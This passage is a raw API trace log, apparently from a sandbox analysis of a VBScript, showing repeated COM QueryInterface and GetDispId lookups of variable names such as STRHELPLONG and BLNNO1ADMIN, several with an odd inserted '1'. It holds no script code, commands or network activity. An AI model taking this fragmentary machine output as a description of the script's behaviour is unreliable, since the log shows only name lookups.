[4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.434] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRCSDVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.434] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRCSDVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.434] GetCurrentThreadId () returned 0xd44 [0087.434] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.434] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.434] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRFILE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.435] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRFILE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.435] GetCurrentThreadId () returned 0xd44 [0087.435] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.435] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.435] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRFILEVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.435] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRFILEVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.435] GetCurrentThreadId () returned 0xd44 [0087.435] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.435] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.442] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRDEBUGLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.442] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRDEBUGLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.442] GetCurrentThreadId () returned 0xd44 [0087.442] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.442] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.443] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRFIRSTLETTER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.443] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRFIRSTLETTER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.443] GetCurrentThreadId () returned 0xd44 [0087.443] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.443] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.443] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELPALL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.443] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELPALL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.443] GetCurrentThreadId () returned 0xd44 [0087.443] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.443] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.444] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELPLONG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.444] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELPLONG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.444] GetCurrentThreadId () returned 0xd44 [0087.444] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.444] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.444] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHELPSHORT", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.444] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHELPSHORT", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.444] GetCurrentThreadId () returned 0xd44 [0087.444] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.444] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.445] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHEAD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.445] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHEAD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.445] GetCurrentThreadId () returned 0xd44 [0087.445] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.445] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.445] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRHTML", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.445] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRHTML", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.445] GetCurrentThreadId () returned 0xd44 [0087.445] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.445] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.446] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRMSG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.446] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRMSG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.446] GetCurrentThreadId () returned 0xd44 [0087.446] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.446] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.446] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRNUMVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.446] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRNUMVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.446] GetCurrentThreadId () returned 0xd44 [0087.446] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.446] realloc (_Block=0x1197838, _Size=0x200) returned 0x11a9dd0 [0087.446] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.447] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STROSLOCL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.447] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STROSLOCL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.447] GetCurrentThreadId () returned 0xd44 [0087.447] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.447] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.447] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRPATTERN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.447] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRPATTERN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.447] GetCurrentThreadId () returned 0xd44 [0087.447] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.447] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.448] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRPREVIOUSLETTER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.448] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRPREVIOUSLETTER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.448] GetCurrentThreadId () returned 0xd44 [0087.448] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.448] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.448] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRIPTENGINE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.448] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRIPTENGINE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.448] GetCurrentThreadId () returned 0xd44 [0087.448] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.448] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.449] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRIPTPATH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.449] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRIPTPATH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.449] GetCurrentThreadId () returned 0xd44 [0087.449] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.449] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.449] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRSCRIPTVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.449] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRSCRIPTVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.449] GetCurrentThreadId () returned 0xd44 [0087.449] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.449] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.449] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRUNKNOWNCOMMAND", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.449] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRUNKNOWNCOMMAND", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.449] GetCurrentThreadId () returned 0xd44 [0087.450] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.450] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.450] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="STRWINVER", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.450] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="STRWINVER", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.450] GetCurrentThreadId () returned 0xd44 [0087.450] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.450] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.450] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRHELPWIN1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.450] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRHELPWIN1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.450] GetCurrentThreadId () returned 0xd44 [0087.450] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.451] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.451] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRHELPWINC1HR1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.451] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRHELPWINC1HR1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.451] GetCurrentThreadId () returned 0xd44 [0087.451] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.451] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.451] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRI1NTCMD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.451] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRI1NTCMD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.451] GetCurrentThreadId () returned 0xd44 [0087.452] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.452] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.453] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ARRT1EMP", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.453] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ARRT1EMP", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.453] GetCurrentThreadId () returned 0xd44 [0087.453] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.453] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.453] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICH1ELPLONG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.453] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICH1ELPLONG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.453] GetCurrentThreadId () returned 0xd44 [0087.453] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.453] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.454] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICHELPS1HORT", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.454] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICHELPS1HORT", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.454] GetCurrentThreadId () returned 0xd44 [0087.454] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.454] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.454] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="DICSYST1EMFILES", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.454] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="DICSYST1EMFILES", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.454] GetCurrentThreadId () returned 0xd44 [0087.454] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.454] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.455] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNAD1DITIONAL", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.455] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNAD1DITIONAL", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.455] GetCurrentThreadId () returned 0xd44 [0087.455] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.455] realloc (_Block=0x1198da8, _Size=0x280) returned 0x844c5d0 [0087.455] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.455] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLN1DEBUG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.455] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLN1DEBUG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.455] GetCurrentThreadId () returned 0xd44 [0087.455] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.455] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.455] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNDEB1UGLOG", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.456] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNDEB1UGLOG", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.456] GetCurrentThreadId () returned 0xd44 [0087.456] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.456] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.456] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNIGNOR1EBATCH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.456] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNIGNOR1EBATCH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.456] GetCurrentThreadId () returned 0xd44 [0087.456] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.456] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.457] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNNO1ADMIN", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.457] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNNO1ADMIN", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.457] GetCurrentThreadId () returned 0xd44 [0087.457] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.457] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.457] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNNO1HLPCHR1", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.457] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNNO1HLPCHR1", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.457] GetCurrentThreadId () returned 0xd44 [0087.457] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.457] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.457] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNOVER1WRITE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0087.458] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BLNOVER1WRITE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0087.458] GetCurrentThreadId () returned 0xd44 [0087.458] IUnknown:Release (This=0x11977a8) returned 0x5 [0087.458] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0087.458] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BLNQU1IET", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 